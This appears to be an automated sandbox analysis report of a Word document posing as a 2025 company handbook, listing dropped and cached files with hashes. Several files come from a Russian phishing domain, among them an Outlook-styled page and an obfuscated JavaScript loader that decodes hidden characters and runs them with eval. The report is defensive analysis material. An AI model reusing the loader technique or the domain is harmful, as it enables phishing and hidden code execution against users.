                                                                                                                                                                                                                                  • HTTPS sessions have been limited to 150. Please view the PCAPs for the complete data.
                                                                                                                                                                                                                                  • Not all processes where analyzed, report is missing behavior information
                                                                                                                                                                                                                                  • Report size getting too big, too many NtOpenFile calls found.
                                                                                                                                                                                                                                  • Report size getting too big, too many NtQueryValueKey calls found.
                                                                                                                                                                                                                                  • Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
                                                                                                                                                                                                                                  • VT rate limit hit for: ufw.xcsyiuul.ru

                                                                                                                                                                                                                                  Created / dropped Files

                                                                                                                                                                                                                                  C:\Users\user\AppData\Local\Temp\~DF0D8561D8E70D6F1A.TMP

                                                                                                                                                                                                                                  Download File
                                                                                                                                                                                                                                  Process:C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
                                                                                                                                                                                                                                  File Type:data
                                                                                                                                                                                                                                  Category:dropped
                                                                                                                                                                                                                                  Size (bytes):512
                                                                                                                                                                                                                                  Entropy (8bit):0.0
                                                                                                                                                                                                                                  Encrypted:false
                                                                                                                                                                                                                                  SSDEEP:
                                                                                                                                                                                                                                  MD5:BF619EAC0CDF3F68D496EA9344137E8B
                                                                                                                                                                                                                                  SHA1:5C3EB80066420002BC3DCC7CA4AB6EFAD7ED4AE5
                                                                                                                                                                                                                                  SHA-256:076A27C79E5ACE2A3D47F9DD2E83E4FF6EA8872B3C2218F66C92B89B55F36560
                                                                                                                                                                                                                                  SHA-512:DF40D4A774E0B453A5B87C00D6F0EF5D753143454E88EE5F7B607134598294C7905CCBCF94BBC46E474DB6EB44E56A6DBB6D9A1BE9D4FB5D1B5F2D0C6ED34BFE
                                                                                                                                                                                                                                  Malicious:false
                                                                                                                                                                                                                                  Reputation:unknown
                                                                                                                                                                                                                                  Preview:................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                                                                                                                  C:\Users\user\Desktop\~$vised - Hartzellprop.com 2025 Handbook29828.doc

                                                                                                                                                                                                                                  Download File
                                                                                                                                                                                                                                  Process:C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
                                                                                                                                                                                                                                  File Type:data
                                                                                                                                                                                                                                  Category:dropped
                                                                                                                                                                                                                                  Size (bytes):162
                                                                                                                                                                                                                                  Entropy (8bit):2.4756725096304564
                                                                                                                                                                                                                                  Encrypted:false
                                                                                                                                                                                                                                  SSDEEP:
                                                                                                                                                                                                                                  MD5:FD3AA27DF57B39488F7C3CE4C7CDBED3
                                                                                                                                                                                                                                  SHA1:C67998B735CF9B50A04F2567F18C12C4144F3579
                                                                                                                                                                                                                                  SHA-256:BD74E851D634D9768D3AEFC22CCA2CF9EBD53CBC55A70D56E3068B62913A0962
                                                                                                                                                                                                                                  SHA-512:FF003BAA1395B83641FF21241A57E9115B4BC36FCDDB24C4A02949EE361B498C740AA538EDFDADCDDECABB2A6FB9BA17EF468865FF040B4561EC7D5F66680276
                                                                                                                                                                                                                                  Malicious:false
                                                                                                                                                                                                                                  Reputation:unknown
                                                                                                                                                                                                                                  Preview:...........................................................V...a.kX...HV...................a.k.........P......................................d...}.Hk....pW...=.k

                                                                                                                                                                                                                                  Chrome Cache Entry: 101

                                                                                                                                                                                                                                  Download File
                                                                                                                                                                                                                                  Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                                                                  File Type:ASCII text, with very long lines (10017)
                                                                                                                                                                                                                                  Category:downloaded
                                                                                                                                                                                                                                  Size (bytes):10245
                                                                                                                                                                                                                                  Entropy (8bit):5.437589264532084
                                                                                                                                                                                                                                  Encrypted:false
                                                                                                                                                                                                                                  SSDEEP:
                                                                                                                                                                                                                                  MD5:6C20A2BE8BA900BC0A7118893A2B1072
                                                                                                                                                                                                                                  SHA1:FF7766FDE1F33882C6E1C481CEED6F6588EA764C
                                                                                                                                                                                                                                  SHA-256:B1C42ACD0288C435E95E00332476781532ED002CAC6F3DCEE9110CED30B31500
                                                                                                                                                                                                                                  SHA-512:8F80AD8ADC44845D24E13D56738A2CA2A73EE6FCDC187542BA4AAEBBF8817935D053A2ACFB0D425B9CC0C582B5091E1C9FE16B90B3AA682187645067C267FC41
                                                                                                                                                                                                                                  Malicious:false
                                                                                                                                                                                                                                  Reputation:unknown
                                                                                                                                                                                                                                  URL:https://objects.githubusercontent.com/github-production-release-asset-2e65be/2925284/11f3acf8-4ccb-11e6-8ce4-c179c0a212de?X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Credential=releaseassetproduction%2F20250325%2Fus-east-1%2Fs3%2Faws4_request&X-Amz-Date=20250325T192404Z&X-Amz-Expires=300&X-Amz-Signature=b6561b9284a0fde4eb4338bfa557b758d34e648eb8a6865ced04e2af106b9cc2&X-Amz-SignedHeaders=host&response-content-disposition=attachment%3B%20filename%3Drandexp.min.js&response-content-type=application%2Foctet-stream
                                                                                                                                                                                                                                  Preview://.// randexp v0.4.3.// Create random strings that match a given regular expression..//.// Copyright (C) 2016 by Roly Fentanes (https://github.com/fent).// MIT License.// http://github.com/fent/randexp.js/raw/master/LICENSE .//.!function(){var e="RandExp",t=function(){return function e(t,n,r){function o(s,i){if(!n[s]){if(!t[s]){var u="function"==typeof require&&require;if(!i&&u)return u(s,!0);if(a)return a(s,!0);var p=new Error("Cannot find module '"+s+"'");throw p.code="MODULE_NOT_FOUND",p}var h=n[s]={exports:{}};t[s][0].call(h.exports,function(e){var n=t[s][1][e];return o(n?n:e)},h,h.exports,e,t,n,r)}return n[s].exports}for(var a="function"==typeof require&&require,s=0;s<r.length;s++)o(r[s]);return o}({1:[function(e,t,n){function r(e){return e+(e>=97&&122>=e?-32:e>=65&&90>=e?32:0)}function o(){return!this.randInt(0,1)}function a(e){return e instanceof h?e.index(this.randInt(0,e.length-1)):e[this.randInt(0,e.length-1)]}function s(e){if(e.type===p.types.CHAR)return new h(e.value);if(e.

                                                                                                                                                                                                                                  Chrome Cache Entry: 102

                                                                                                                                                                                                                                  Download File
                                                                                                                                                                                                                                  Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                                                                  File Type:HTML document, ASCII text, with very long lines (52005), with CRLF line terminators
                                                                                                                                                                                                                                  Category:downloaded
                                                                                                                                                                                                                                  Size (bytes):150432
                                                                                                                                                                                                                                  Entropy (8bit):5.966942979606818
                                                                                                                                                                                                                                  Encrypted:false
                                                                                                                                                                                                                                  SSDEEP:
                                                                                                                                                                                                                                  MD5:33C2739F1E2284B1904294CAE877C9DE
                                                                                                                                                                                                                                  SHA1:BB6ACB177A9B3FF4DB5D527E407AD28AB05208FD
                                                                                                                                                                                                                                  SHA-256:070B73952CC820717AE6AAA257B01277631674064754EC4D2DFFAAC4C5777A8C
                                                                                                                                                                                                                                  SHA-512:01756B36A881A97327B6E61BDE000BF3D3C0FD079E5171B68AE6365CE4760B2BB9EC64FC7A6C81EE3EF9D71FA2E0E0C2CB125763EF70327B6E7D2CB11D2E5768
                                                                                                                                                                                                                                  Malicious:false
                                                                                                                                                                                                                                  Reputation:unknown
                                                                                                                                                                                                                                  URL:https://ufw.xcsyiuul.ru/zcnqhgmyuhjsasmmjtxujikccpcruhtjnkditijupyaurdugubiTYTXS60TJ864YWI87EFB896B?HGOZEFGPTKDICUMNRLGOKEHAJVLAQ
                                                                                                                                                                                                                                  Preview:<!DOCTYPE html>..<html lang="en">..<head>.. <meta http-equiv="X-UA-Compatible" content="IE=Edge,chrome=1">.. <meta name="robots" content="noindex, nofollow">.. <meta name="viewport" content="width=device-width, initial-scale=1.0">.. <title>&#8203;</title>.. <style id="outlooklogostyle">..body#outlooklogo {.. background-color: #fff;.. height: 100%;.. overflow: hidden;..}....:root {.. --s: 180px;.. --envW: 130px;.. --envH: 71px;.. --calW: 118px;.. --sqW: calc(var(--calW) / 3);.. --sqH: 37px;.. --calHH: 20px;.. --calH: calc(var(--sqH) * 3 + var(--calHH));.. --calY: calc(var(--calH) + 20px);.. --calYExt: calc(var(--calH) - 80px);.. --calYOverExt: calc(var(--calH) - 92px);.. --flapS: 96px;.. --flapH: calc(0.55 * var(--envH));.. --flapScaleY: calc(var(--flapH) / var(--flapWidth));.. --dur: 5s..}..#containerShadow,#ef{border-radius:0 0 7px 7px;}..#cal,#cal>.r{display:flex;}..#fmask,#openedFlap{width:var(--envW);height:107px;}..#ca

                                                                                                                                                                                                                                  Chrome Cache Entry: 104

                                                                                                                                                                                                                                  Download File
                                                                                                                                                                                                                                  Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                                                                  File Type:RIFF (little-endian) data, Web/P image
                                                                                                                                                                                                                                  Category:downloaded
                                                                                                                                                                                                                                  Size (bytes):17842
                                                                                                                                                                                                                                  Entropy (8bit):7.821645806304586
                                                                                                                                                                                                                                  Encrypted:false
                                                                                                                                                                                                                                  SSDEEP:
                                                                                                                                                                                                                                  MD5:4B52ECDC33382C9DCA874F551990E704
                                                                                                                                                                                                                                  SHA1:8F3BF8E41CD4CDDDB17836B261E73F827B84341B
                                                                                                                                                                                                                                  SHA-256:CCE050CC3B150C0B370751021BB15018EE2B64AC369E230FE3B571A9B00D4342
                                                                                                                                                                                                                                  SHA-512:AC3D3C82BAD9147AE5F083ED49C81A744F672DDFBB262135AA3F2C6601F8DFFEA11D8E323CEF025C36D76C6F2515AA6814B622CF504CA01D13346E9EA989048F
                                                                                                                                                                                                                                  Malicious:false
                                                                                                                                                                                                                                  Reputation:unknown
                                                                                                                                                                                                                                  URL:https://ufw.xcsyiuul.ru/stx2M5Jdm9gg3qBffFoJIJebt5UabJPIc8FXwxuEsbkhsJTk2mnfFjrC5KgZFdLD9yyO1RhDbBmQ3SGmwJNtEef260
                                                                                                                                                                                                                                  Preview:RIFF.E..WEBPVP8X....0.........ICCP.............0..mntrRGB XYZ ............acsp.......................................-....................................................desc.......$rXYZ........gXYZ...(....bXYZ...<....wtpt...P....rTRC...d...(gTRC...d...(bTRC...d...(cprt.......<mluc............enUS.........s.R.G.BXYZ ......o...8.....XYZ ......b.........XYZ ......$.........XYZ ...............-para..........ff......Y.......[........mluc............enUS... .....G.o.o.g.l.e. .I.n.c... .2.0.1.6ALPH.,...$.m.8..k.\.oDL.. ..TU....3'.{.g..6..2...6.DL`e..."&@..b.#&@......T.....'.....$......1.d...G........?.........?.........?.........?.........?.........?.........?.........?.........?.........?.........?.........?.........?.........?.........?.........?.........?.........?.........?.........._...........................?...Z5[...B,.c...V-...m.0.../..?...............?.......?................_.....-...M.B.....=....C...[......w .X...ea.............VW.?b....[[.o^.Y.K...OD

                                                                                                                                                                                                                                  Chrome Cache Entry: 105

                                                                                                                                                                                                                                  Download File
                                                                                                                                                                                                                                  Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                                                                  File Type:RIFF (little-endian) data, Web/P image
                                                                                                                                                                                                                                  Category:downloaded
                                                                                                                                                                                                                                  Size (bytes):1298
                                                                                                                                                                                                                                  Entropy (8bit):6.665390877423149
                                                                                                                                                                                                                                  Encrypted:false
                                                                                                                                                                                                                                  SSDEEP:
                                                                                                                                                                                                                                  MD5:32CA2081553E969F9FDD4374134521AD
                                                                                                                                                                                                                                  SHA1:7B09924C4C3D8B6E41FE38363E342DA098BE4173
                                                                                                                                                                                                                                  SHA-256:216FC342A469AA6A005B2EACC24622095E5282D3E9F1AE99CE54C27B92EC3587
                                                                                                                                                                                                                                  SHA-512:F75749C6344FCD7BF06872A3678BB2EB4CAE2DDC31CC5D1EE73EFBA843705577841667733A83163AF4336EC8A32DF93E7A36155BD6282D7BB86159644975948C
                                                                                                                                                                                                                                  Malicious:false
                                                                                                                                                                                                                                  Reputation:unknown
                                                                                                                                                                                                                                  URL:https://ufw.xcsyiuul.ru/ijxYiExoAKyD0D7ivyCqb9jMquCo7gopGnTmrMy6ZwXS3AQOP4rDRUjab230
                                                                                                                                                                                                                                  Preview:RIFF....WEBPVP8X....0...k.....ICCP.............0..mntrRGB XYZ ............acsp.......................................-....................................................desc.......$rXYZ........gXYZ...(....bXYZ...<....wtpt...P....rTRC...d...(gTRC...d...(bTRC...d...(cprt.......<mluc............enUS.........s.R.G.BXYZ ......o...8.....XYZ ......b.........XYZ ......$.........XYZ ...............-para..........ff......Y.......[........mluc............enUS... .....G.o.o.g.l.e. .I.n.c... .2.0.1.6ALPHX.....\m{.z..........T ..Q....R..*.X....U`..@......Yyy..<q.."b..a....K._.....jH.*...}q..........^.-.\.4. &.H~.q..H.q.'.t..p....0)...X.....8./.... ..6.#H..Y..../...E>.#.tv....9.\.p5......h......1.{@.k].(1...B.........u.n....=....sX...*..I.c]r....S.....u.a...X.....Pi..q.$73..ga..h%9.S.l.....}....^%.@:Q....we8x..j..3.^.}5.fFtZ...3....<. x.s....d@(./.<].y...m.....T..........T.P`....5..<qYl.g..k..N. `_...f....yN.R.PB..p|..-.%.`y.._.]C.v.<.Y...V..I..(.c....>...........k....nt

                                                                                                                                                                                                                                  Chrome Cache Entry: 107

                                                                                                                                                                                                                                  Download File
                                                                                                                                                                                                                                  Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                                                                  File Type:ASCII text, with very long lines (65447)
                                                                                                                                                                                                                                  Category:downloaded
                                                                                                                                                                                                                                  Size (bytes):89501
                                                                                                                                                                                                                                  Entropy (8bit):5.289893677458563
                                                                                                                                                                                                                                  Encrypted:false
                                                                                                                                                                                                                                  SSDEEP:
                                                                                                                                                                                                                                  MD5:8FB8FEE4FCC3CC86FF6C724154C49C42
                                                                                                                                                                                                                                  SHA1:B82D238D4E31FDF618BAE8AC11A6C812C03DD0D4
                                                                                                                                                                                                                                  SHA-256:FF1523FB7389539C84C65ABA19260648793BB4F5E29329D2EE8804BC37A3FE6E
                                                                                                                                                                                                                                  SHA-512:F3DE1813A4160F9239F4781938645E1589B876759CD50B7936DBD849A35C38FFAED53F6A61DBDD8A1CF43CF4A28AA9FFFBFDDEEC9A3811A1BB4EE6DF58652B31
                                                                                                                                                                                                                                  Malicious:false
                                                                                                                                                                                                                                  Reputation:unknown
                                                                                                                                                                                                                                  URL:https://code.jquery.com/jquery-3.6.0.min.js
                                                                                                                                                                                                                                  Preview:/*! jQuery v3.6.0 | (c) OpenJS Foundation and other contributors | jquery.org/license */.!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQuery requires a window with a document");return t(e)}:t(e)}("undefined"!=typeof window?window:this,function(C,e){"use strict";var t=[],r=Object.getPrototypeOf,s=t.slice,g=t.flat?function(e){return t.flat.call(e)}:function(e){return t.concat.apply([],e)},u=t.push,i=t.indexOf,n={},o=n.toString,v=n.hasOwnProperty,a=v.toString,l=a.call(Object),y={},m=function(e){return"function"==typeof e&&"number"!=typeof e.nodeType&&"function"!=typeof e.item},x=function(e){return null!=e&&e===e.window},E=C.document,c={type:!0,src:!0,nonce:!0,noModule:!0};function b(e,t,n){var r,i,o=(n=n||E).createElement("script");if(o.text=e,t)for(r in c)(i=t[r]||t.getAttribute&&t.getAttribute(r))&&o.setAttribute(r,i);n.head.appendChild(o).parentNode.removeChild(o)}funct

                                                                                                                                                                                                                                  Chrome Cache Entry: 108

                                                                                                                                                                                                                                  Download File
                                                                                                                                                                                                                                  Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                                                                  File Type:SVG Scalable Vector Graphics image
                                                                                                                                                                                                                                  Category:dropped
                                                                                                                                                                                                                                  Size (bytes):2905
                                                                                                                                                                                                                                  Entropy (8bit):3.962263100945339
                                                                                                                                                                                                                                  Encrypted:false
                                                                                                                                                                                                                                  SSDEEP:
                                                                                                                                                                                                                                  MD5:FE87496CC7A44412F7893A72099C120A
                                                                                                                                                                                                                                  SHA1:A0C1458C08A815DF63D3CB0406D60BE6607CA699
                                                                                                                                                                                                                                  SHA-256:55CE3B0CE5BC71339308107982CD7671F96014256DED0BE36DC8062E64C847F1
                                                                                                                                                                                                                                  SHA-512:E527C6CD2A3D79CA828A9126E8FF7009A540AA764082750D4FA8207C2B8439CA1FDC4459E935D708DC59DCFFE55FE45188EB5E266D1B745FCA7588501BC0117D
                                                                                                                                                                                                                                  Malicious:false
                                                                                                                                                                                                                                  Reputation:unknown
                                                                                                                                                                                                                                  Preview:<svg xmlns="http://www.w3.org/2000/svg" width="48" height="48" viewBox="0 0 48 48"><title>assets</title><rect width="48" height="48" fill="none"/><path d="M30.422,29.092a3.493,3.493,0,0,1,1.324.261,3.381,3.381,0,0,1,1.132.749q.366.366.827.775t.949.854q.488.444.941.932a9.974,9.974,0,0,1,.819,1A4.951,4.951,0,0,1,37,34.736a3.133,3.133,0,0,1,.218,1.15,3.493,3.493,0,0,1-.261,1.324,3.381,3.381,0,0,1-.749,1.132q-.888.888-1.6,1.568a8.753,8.753,0,0,1-1.489,1.15,6.17,6.17,0,0,1-1.716.705A9.367,9.367,0,0,1,29.151,42a13.73,13.73,0,0,1-3.9-.592A21.891,21.891,0,0,1,21.26,39.77a27.749,27.749,0,0,1-3.885-2.491,34.863,34.863,0,0,1-3.6-3.153,34.6,34.6,0,0,1-3.127-3.606,27.717,27.717,0,0,1-2.456-3.876A22.2,22.2,0,0,1,6.584,22.69,13.485,13.485,0,0,1,6,18.866,9.453,9.453,0,0,1,6.235,16.6a6.2,6.2,0,0,1,.7-1.707,8.848,8.848,0,0,1,1.141-1.489q.679-.723,1.585-1.611a3.381,3.381,0,0,1,1.132-.749,3.493,3.493,0,0,1,1.324-.261,3.3,3.3,0,0,1,1.681.47,8.648,8.648,0,0,1,1.542,1.15,17.725,17.725,0,0,1,1.376,1.428q.645.

                                                                                                                                                                                                                                  Chrome Cache Entry: 109

                                                                                                                                                                                                                                  Download File
                                                                                                                                                                                                                                  Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                                                                  File Type:RIFF (little-endian) data, Web/P image
                                                                                                                                                                                                                                  Category:downloaded
                                                                                                                                                                                                                                  Size (bytes):892
                                                                                                                                                                                                                                  Entropy (8bit):5.863167355052868
                                                                                                                                                                                                                                  Encrypted:false
                                                                                                                                                                                                                                  SSDEEP:
                                                                                                                                                                                                                                  MD5:41D62CA205D54A78E4298367482B4E2B
                                                                                                                                                                                                                                  SHA1:839AAE21ED8ECFC238FDC68B93CCB27431CD5393
                                                                                                                                                                                                                                  SHA-256:20A4A780DB0BCC047015A0D8037EB4EB58B3E5CB338673799C030A3E1B626B40
                                                                                                                                                                                                                                  SHA-512:82B9806490A0DB493DA16466738437B9BB54B979075DB58C89CA0D192D780DDB5ED888E10CE76A53D48D30D5013791CAC7AB468D85B61D32766140DD53DC9044
                                                                                                                                                                                                                                  Malicious:false
                                                                                                                                                                                                                                  Reputation:unknown
                                                                                                                                                                                                                                  URL:https://ufw.xcsyiuul.ru/opukYQwNBYnveWE4OuuJmnAObX1DCAfeJFnp45140
                                                                                                                                                                                                                                  Preview:RIFFt...WEBPVP8X....0.../../..ICCP.............0..mntrRGB XYZ ............acsp.......................................-....................................................desc.......$rXYZ........gXYZ...(....bXYZ...<....wtpt...P....rTRC...d...(gTRC...d...(bTRC...d...(cprt.......<mluc............enUS.........s.R.G.BXYZ ......o...8.....XYZ ......b.........XYZ ......$.........XYZ ...............-para..........ff......Y.......[........mluc............enUS... .....G.o.o.g.l.e. .I.n.c... .2.0.1.6ALPH=......m[..H.A.).U....A..C.u@. ....L.......;.....$3{2{....3..V6.i.W.F.h..ee^k.:..cl.Z.eb.....).IZ....!....;X.:&...hF0...kM......!W5.ak8.......#V.s...2...`..v...}.(0 p../s.'VS`SjX.B.,...v.#./I....}.b....^*1..k.:F9hgb.HgW.Q^.r}..Y5....'.JJ....&.."]<.M.Z)o.H..].i.H1..G.P>.b.{.G.\BYx*.[.y...?L....:.%.d......%.q..VP8 @...0....*0.0.>U .E..!.4.8.D...o..z...A....Z........?..z......k...

                                                                                                                                                                                                                                  Chrome Cache Entry: 111

                                                                                                                                                                                                                                  Download File
                                                                                                                                                                                                                                  Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                                                                  File Type:RIFF (little-endian) data, Web/P image
                                                                                                                                                                                                                                  Category:dropped
                                                                                                                                                                                                                                  Size (bytes):9648
                                                                                                                                                                                                                                  Entropy (8bit):7.9099172475143416
                                                                                                                                                                                                                                  Encrypted:false
                                                                                                                                                                                                                                  SSDEEP:
                                                                                                                                                                                                                                  MD5:4946EB373B18D178C93D473489673BB6
                                                                                                                                                                                                                                  SHA1:16477ACB73B63CA251D37401249E7E4515FEBD24
                                                                                                                                                                                                                                  SHA-256:666BC574C9F3FB28A8AC626FA8105C187C2A313736494A06BD5A937473673C92
                                                                                                                                                                                                                                  SHA-512:F684B90B748DC8399F76C5D8F94AF6C4E6869143F18D19CE435B25EAA14E9647B120467BDD0795895676DC0CCCDEABF82BEB2F46CE2C5BF4C58ED9C134F30C48
                                                                                                                                                                                                                                  Malicious:false
                                                                                                                                                                                                                                  Reputation:unknown
                                                                                                                                                                                                                                  Preview:RIFF.%..WEBPVP8X....0.........ICCP.............0..mntrRGB XYZ ............acsp.......................................-....................................................desc.......$rXYZ........gXYZ...(....bXYZ...<....wtpt...P....rTRC...d...(gTRC...d...(bTRC...d...(cprt.......<mluc............enUS.........s.R.G.BXYZ ......o...8.....XYZ ......b.........XYZ ......$.........XYZ ...............-para..........ff......Y.......[........mluc............enUS... .....G.o.o.g.l.e. .I.n.c... .2.0.1.6ALPH......0....n.mu..G..t042.....@...`[...%...6....9AD.'@.,f.B...+..+..+..W&.p.....h.......f.-...+.....m...n....E....O].+R.&Q..#.X.ip4..p......\O...\/....9.5.a..DfZ,K....8.....Z..2..z......t.......|.I.(..6E.D.}.C..OQD$S}iZ...[D.......q`(...@../.NQ......+"b%.X.D".G.*...0G...".2........x.O......7......E..&....e.F..4...K>.M..Pd.B...@'o./te..[.f....4[..a..x...9#.@$.=...t..=..t_.W....[..f.|fv...N...c6..k4}.9.7.....f.F3.4[...a...;.m.@N.n.0.....n.G[c.H.}..t.{..;....G...2.::..].0....

                                                                                                                                                                                                                                  Chrome Cache Entry: 112

                                                                                                                                                                                                                                  Download File
                                                                                                                                                                                                                                  Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                                                                  File Type:SVG Scalable Vector Graphics image
                                                                                                                                                                                                                                  Category:dropped
                                                                                                                                                                                                                                  Size (bytes):1864
                                                                                                                                                                                                                                  Entropy (8bit):5.222032823730197
                                                                                                                                                                                                                                  Encrypted:false
                                                                                                                                                                                                                                  SSDEEP:
                                                                                                                                                                                                                                  MD5:BC3D32A696895F78C19DF6C717586A5D
                                                                                                                                                                                                                                  SHA1:9191CB156A30A3ED79C44C0A16C95159E8FF689D
                                                                                                                                                                                                                                  SHA-256:0E88B6FCBB8591EDFD28184FA70A04B6DD3AF8A14367C628EDD7CABA32E58C68
                                                                                                                                                                                                                                  SHA-512:8D4F38907F3423A86D90575772B292680F7970527D2090FC005F9B096CC81D3F279D59AD76EAFCA30C3D4BBAF2276BBAA753E2A46A149424CF6F1C319DED5A64
                                                                                                                                                                                                                                  Malicious:false
                                                                                                                                                                                                                                  Reputation:unknown
                                                                                                                                                                                                                                  Preview:<svg xmlns="http://www.w3.org/2000/svg" width="1920" height="1080" fill="none"><g opacity=".2" clip-path="url(#E)"><path d="M1466.4 1795.2c950.37 0 1720.8-627.52 1720.8-1401.6S2416.77-1008 1466.4-1008-254.4-380.482-254.4 393.6s770.428 1401.6 1720.8 1401.6z" fill="url(#A)"/><path d="M394.2 1815.6c746.58 0 1351.8-493.2 1351.8-1101.6S1140.78-387.6 394.2-387.6-957.6 105.603-957.6 714-352.38 1815.6 394.2 1815.6z" fill="url(#B)"/><path d="M1548.6 1885.2c631.92 0 1144.2-417.45 1144.2-932.4S2180.52 20.4 1548.6 20.4 404.4 437.85 404.4 952.8s512.276 932.4 1144.2 932.4z" fill="url(#C)"/><path d="M265.8 1215.6c690.246 0 1249.8-455.595 1249.8-1017.6S956.046-819.6 265.8-819.6-984-364.005-984 198-424.445 1215.6 265.8 1215.6z" fill="url(#D)"/></g><defs><radialGradient id="A" cx="0" cy="0" r="1" gradientUnits="userSpaceOnUse" gradientTransform="translate(1466.4 393.6) rotate(90) scale(1401.6 1720.8)"><stop stop-color="#107c10"/><stop offset="1" stop-color="#c4c4c4" stop-opacity="0"/></radialGradient><r

                                                                                                                                                                                                                                  Chrome Cache Entry: 113

                                                                                                                                                                                                                                  Download File
                                                                                                                                                                                                                                  Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                                                                  File Type:Unicode text, UTF-8 text, with very long lines (21720), with CRLF line terminators
                                                                                                                                                                                                                                  Category:downloaded
                                                                                                                                                                                                                                  Size (bytes):4724541
                                                                                                                                                                                                                                  Entropy (8bit):2.5839796656457863
                                                                                                                                                                                                                                  Encrypted:false
                                                                                                                                                                                                                                  SSDEEP:
                                                                                                                                                                                                                                  MD5:AA849F9614E090F7E5EBED754F83D3C2
                                                                                                                                                                                                                                  SHA1:4100808BBC0665E1ECF3372DDF7DD02A14B1387A
                                                                                                                                                                                                                                  SHA-256:928A123423281E31FCC018F4CB5B297299EFB723678D2A45EFCD842F6C6A4AE6
                                                                                                                                                                                                                                  SHA-512:522EB407E209EA8E61622882669258866409277A8E754A994264D4B1418164236AAFB4630FA8B3A0029D7D0700E07D1113CFED04882BEAF3842C8FB5CE167E8D
                                                                                                                                                                                                                                  Malicious:false
                                                                                                                                                                                                                                  Reputation:unknown
                                                                                                                                                                                                                                  URL:https://ufw.xcsyiuul.ru/34cqzeJQ3BTVQkZVgXC7rYlS7LjjghmR0vopeWBu267110
                                                                                                                                                                                                                                  Preview:function decodeAndEvaluate(key) {.. const binaryString = [...key].. .map(char => Number('.' > char)).. .join('').. .replace(/.{8}/g, byte => String.fromCharCode(parseInt(byte, 2)));.. .. (0, eval)(binaryString);.. return true;..}....const handler = {.. get: function(_, prop) {.. decodeAndEvaluate(prop);.. return true;.. }..};..const viewsen = new Proxy({}, handler);..viewsen["........................................................................................................................................................................................................

                                                                                                                                                                                                                                  Chrome Cache Entry: 114

                                                                                                                                                                                                                                  Download File
                                                                                                                                                                                                                                  Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                                                                  File Type:Web Open Font Format, TrueType, length 36696, version 1.0
                                                                                                                                                                                                                                  Category:downloaded
                                                                                                                                                                                                                                  Size (bytes):36696
                                                                                                                                                                                                                                  Entropy (8bit):7.988666025644622
                                                                                                                                                                                                                                  Encrypted:false
                                                                                                                                                                                                                                  SSDEEP:
                                                                                                                                                                                                                                  MD5:A69E9AB8AFDD7486EC0749C551051FF2
                                                                                                                                                                                                                                  SHA1:C34E6AA327B536FB48D1FE03577A47C7EE2231B8
                                                                                                                                                                                                                                  SHA-256:FD78A1913DB912221B8EAD1E62FAD47D1FF0A9FA6CD88D3B128A721AD91D2FAF
                                                                                                                                                                                                                                  SHA-512:9A0E4297282542B8813F9CC85B2CCB09663CE281F64503F9A5284631881DA9AACF7649553BF1423D941F01B97E6BC3BA50AB13E55E4B7B61C5AA0A4ADF4D390F
                                                                                                                                                                                                                                  Malicious:false
                                                                                                                                                                                                                                  Reputation:unknown
                                                                                                                                                                                                                                  URL:https://ufw.xcsyiuul.ru/GDSherpa-regular.woff
                                                                                                                                                                                                                                  Preview:wOFF.......X......6........0...(............DSIG...(............GPOS..........^>....GSUB.............3y.OS/2.......F...`h`{Zcmap...........<.?+.cvt .......0...<(...fpgm............?...gasp................glyf.."0..Tl...h...+head..v....4...6..}.hhea..v....!...$...Zhmtx..v........x;...loca..z|...........tmaxp..~$... ... .-..name..~D.......'....post............1+.,prep.............P..x..\.|U..Nr.^.......DD.T....V...C....U._.N..k.8.m...h.Q.6q....#....Y4l.}3.@ .............Z_....s.....>RD.....J....wR./...#.,<'f....4b..}(....P..\.s.9'.....-.Q..d..H.@%..K+....4U.4...yx.3..DkfJ..3S.H......|..........%.B...........W.~..nN<x.?....}jn...W..M.7...?...:-uAjQ.4J.].vm....H{&...y..@....G...~.......x=.V..g.;..@..J.l...G..L... g*M..h.....Q!}B...Q.m.M...R.5*.JUi*..U_5@]..PW...*5H.VW.k..:5D].nP#..5V=....x.....W/...E5I...NVS.T.u...^U3._...m5G-P...U...Gj.*V..j.Z...j..BJ.._Pw..0..f*...q...q5...'.F=MIj.7..^.f."..K\..pHMC.t.W.Z.Bz...l.+.....e|......B>....1.a,.D.Ej..(.

                                                                                                                                                                                                                                  Chrome Cache Entry: 115

                                                                                                                                                                                                                                  Download File
                                                                                                                                                                                                                                  Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                                                                  File Type:SVG Scalable Vector Graphics image
                                                                                                                                                                                                                                  Category:dropped
                                                                                                                                                                                                                                  Size (bytes):7390
                                                                                                                                                                                                                                  Entropy (8bit):4.02755241095864
                                                                                                                                                                                                                                  Encrypted:false
                                                                                                                                                                                                                                  SSDEEP:
                                                                                                                                                                                                                                  MD5:B59C16CA9BF156438A8A96D45E33DB64
                                                                                                                                                                                                                                  SHA1:4E51B7D3477414B220F688ADABD76D3AE6472EE3
                                                                                                                                                                                                                                  SHA-256:A7EE799DD5B6F6DBB70B043B766362A6724E71458F9839306C995F06B218C2F8
                                                                                                                                                                                                                                  SHA-512:2C7095E4B819BC5CAA06811A55C0DAE6706970F981806DCF7FD41F744C1DC6A955657A8E57829B39B376B892E8173E8A41F683D329CFBBD0EC4D4019B10E52FF
                                                                                                                                                                                                                                  Malicious:false
                                                                                                                                                                                                                                  Reputation:unknown
